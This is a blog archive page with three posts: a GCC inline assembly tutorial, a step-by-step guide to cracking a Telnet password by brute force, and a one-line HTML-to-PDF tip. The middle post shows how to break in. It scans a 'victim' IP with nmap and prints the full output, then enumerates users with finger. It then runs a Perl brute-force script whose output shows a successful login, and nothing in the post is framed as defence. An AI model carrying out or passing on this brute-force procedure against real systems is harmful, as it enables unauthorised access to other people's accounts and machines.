PoiNtEr->: April 2012

                             Difference between a dream and an aim. A dream requires soundless sleep, whereas an aim requires sleepless efforts.

Search This Blog

Monday, April 16, 2012

Inline-Assembly


We can instruct the compiler to insert the code of a function into the code of its callers, to the point where actually the call is to be made. Such functions are inline functions. Sounds similar to a Macro? Indeed there are similarities.
What is the benefit of inline functions?
This method of inlining reduces the function-call overhead. And if any of the actual argument values are constant, their known values may permit simplifications at compile time so that not all of the inline function’s code needs to be included. The effect on code size is less predictable, it depends on the particular case. To declare an inline function, we’ve to use the keyword inline in its declaration.
Inline assembly is important primarily because of its ability to operate and make its output visible on C variables. Because of this capability, "asm" works as an interface between the assembly instructions and the "C" program that contains it.
Programming Languages 


There are some things to note when using inline assembler in C program, firstly, most of C compiler uses the AT&T format, not the Intel format that most people are used to. In the AT&T format, the operands are reversed. If you use a register as an operand, prefix it with % and immediate values get a $. You also have to add a suffix to the instructions to specify the size of the operands.
movl %ecx, %ebx
Notice the 'l' at the end of mov. This specifies that the instruction is working on 32 bit operands. 'w' indicates that the instruction is using 16 bit operands and 'b' for 8 bit.
So, with all that under your belt, how do you actually add it into your code? You use the asm keyword. It takes the following form.
asm("instructions" : outputs : inputs : clobber list);
You don't actually need to use the last three, but for longer code you will need them. Let's see what they do.
asm volatile("
 pushl %%eax
 movl %1, %%eax
 movl %2, %%ebx
 addl %%ebx, %%eax
 movl %%eax, %0
 popl %%eax"
 : "=g" (i)
 : "g" (j), "g" (k)
 : "bx" );
Wow. Let's go through that piece of code step by step. The actual code, as you can probably figure out, adds j and k and puts the output in i. Firstly, what's with the '%%'? If you have any inputs or outputs, then you must put %% before your register names. Next up, the input list. Who is 'g'? G simply tells the compiler to put the argument anywhere. You can then reference them in order, %0 is i, %1 is j and %2 is k. '=g' tells the compiler that it is output. We put ebx into the clobbered list because it gets clobbered.


Clobber List



Some instructions clobber some hardware registers. We have to list those registers in the clobber-list, ie the field after the third ’:’ in the asm function. This is to inform gcc that we will use and modify them ourselves. So gcc will not assume that the values it loads into these registers will be valid. We shoudn’t list the input and output registers in this list. Because, gcc knows that "asm" uses them (because they are specified explicitly as constraints). If the instructions use any other registers, implicitly or explicitly (and the registers are not present either in input or in the output constraint list), then those registers have to be specified in the clobbered list.

Volatile ...?


If you are familiar with kernel sources or some beautiful code like that, you must have seen many functions declared as volatile or __volatile__ which follows an asm or __asm__. I mentioned earlier about the keywords asm and __asm__. So what is this volatile?
If our assembly statement must execute where we put it, (i.e. must not be moved out of a loop as an optimization), put the keyword volatile after asm and before the ()’s. So to keep it from moving, deleting and all, we declare it as
asm volatile ( ... : ... : ... : ...);
Use __volatile__ when we have to be verymuch careful.
If our assembly is just for doing some calculations and doesn’t have any side effects, it’s better not to use the keyword volatile. Avoiding it helps gcc in optimizing the code and making it more beautiful.

Example C Program:

//make value of b equal to value of a
#include<stdio.h>
int main(int argc,char *argv)
{
 int a=10, b;
asm volatile("movl %1, %%eax;movl %%eax, %0;":"=r"(b):"r"(a) :"%eax" );       
printf("%d\n",b);
}


Tuesday, April 10, 2012

Crack Telnet Password Using Brute Force




First Install Zenmap on your ubuntu machine:
sudo apt-get install zenmap

Now open your terminal and use following command to check open ports on victim's system
nmapfe
now in gui prompt put the ip address of victim in target box.

Output(sample):

Starting Nmap 5.21 ( http://nmap.org ) at 2012-04-11 07:20 IST
NSE: Loaded 36 scripts for scanning.
Initiating ARP Ping Scan at 07:20
Scanning 192.168.2.10 [1 port]
Completed ARP Ping Scan at 07:20, 0.01s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 07:20
Completed Parallel DNS resolution of 1 host. at 07:20, 0.09s elapsed
Initiating SYN Stealth Scan at 07:20
Scanning 192.168.2.10 [1000 ports]
Discovered open port 445/tcp on 192.168.2.10
Discovered open port 80/tcp on 192.168.2.10
Discovered open port 23/tcp on 192.168.2.10
Discovered open port 139/tcp on 192.168.2.10
Completed SYN Stealth Scan at 07:20, 2.70s elapsed (1000 total ports)
Initiating Service scan at 07:20
Scanning 4 services on 192.168.2.10
Completed Service scan at 07:20, 11.04s elapsed (4 services on 1 host)
Initiating OS detection (try #1) against 192.168.2.10
Retrying OS detection (try #2) against 192.168.2.10
Retrying OS detection (try #3) against 192.168.2.10
Retrying OS detection (try #4) against 192.168.2.10
Retrying OS detection (try #5) against 192.168.2.10
NSE: Script scanning 192.168.2.10.
NSE: Starting runlevel 1 (of 1) scan.
Initiating NSE at 07:21
Completed NSE at 07:21, 0.08s elapsed
NSE: Script Scanning completed.
Nmap scan report for 192.168.2.10
Host is up (0.0021s latency).
Not shown: 996 closed ports
PORT    STATE SERVICE     VERSION
23/tcp  open  telnet      Linux telnetd
80/tcp  open  http        Apache httpd 2.2.17 ((Ubuntu))
|_html-title: Site doesn't have a title (text/html).
139/tcp open  netbios-ssn Samba smbd 3.X (workgroup: WORKGROUP)
445/tcp open  netbios-ssn Samba smbd 3.X (workgroup: WORKGROUP)
MAC Address: 00:24:2B:DB:74:9F (Hon Hai Precision Ind.Co.)
No exact OS matches for host (If you know what OS is running on it, see http://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=5.21%D=4/11%OT=23%CT=1%CU=35230%PV=Y%DS=1%DC=D%G=Y%M=00242B%TM=4F
OS:84E390%P=i686-pc-linux-gnu)SEQ(SP=CA%GCD=1%ISR=CD%TI=Z%CI=Z%II=I%TS=8)OP
OS:S(O1=M5B4ST11NW6%O2=M5B4ST11NW6%O3=M5B4NNT11NW6%O4=M5B4ST11NW6%O5=M5B4ST
OS:11NW6%O6=M5B4ST11)WIN(W1=3890%W2=3890%W3=3890%W4=3890%W5=3890%W6=3890)EC
OS:N(R=Y%DF=Y%T=40%W=3908%O=M5B4NNSNW6%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=
OS:AS%RD=0%Q=)T2(R=N)T3(R=Y%DF=Y%T=40%W=3890%S=O%A=S+%F=AS%O=M5B4ST11NW6%RD
OS:=0%Q=)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S
OS:=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R
OS:=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=40%IPL=164%UN=0%
OS:RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S)


Uptime guess: 0.011 days (since Wed Apr 11 07:05:17 2012)
Network Distance: 1 hop
TCP Sequence Prediction: Difficulty=202 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: OS: Linux


Host script results:
| nbstat:  
|   NetBIOS name: UMESH-VOSTRO151, NetBIOS user: <unknown>, NetBIOS MAC: <unknown>
|   Names
|     UMESH-VOSTRO151<00>  Flags: <unique><active>
|     UMESH-VOSTRO151<03>  Flags: <unique><active>
|     UMESH-VOSTRO151<20>  Flags: <unique><active>
|     WORKGROUP<1e>        Flags: <group><active>
|_    WORKGROUP<00>        Flags: <group><active>
| smb-os-discovery:  
|   OS: Unix (Samba 3.5.8)
|   Name: Unknown\Unknown
|_  System time: 2012-04-11 07:21:12 UTC+5.5
|_smbv2-enabled: Server doesn't support SMBv2 protocol


HOP RTT     ADDRESS
1   2.10 ms 192.168.2.10


Read data files from: /usr/share/nmap
OS and Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 27.00 seconds
           Raw packets sent: 1134 (53.704KB) | Rcvd: 1076 (46.608KB)



Now Download following files and extract them:

Open a new Terminal and browse to extracted files and put following command in it:
To get the username use:
finger@ 192.168.2.10 (ipaddress of victim)
output:
umesh root

Now To brute-force run perl script with given parameters.
perl Telnet_Crack.pl -h 192.168.2.10 -u umesh -P polish

output:
TRYING : USERNAME = XXXX PASSWORD = password

ATTEMPTING CONNECTION TO 192.168.2.10.

OK ... CONNECTED!!!



it will take time and it depends on the strength of password that how long you have to wait to get the result.

Sunday, April 8, 2012

Convert HTML to PDF in Ubuntu


HTML to PDF
Convert HTML to PDF

First Install wkhtmltopdf on ubuntu:

sudo apt-get install wkhtmltopdf

Now Use following command to convert Html file to Pdf

wkhtmltopdf  filename.html filename.pdf

Viola!! that's it.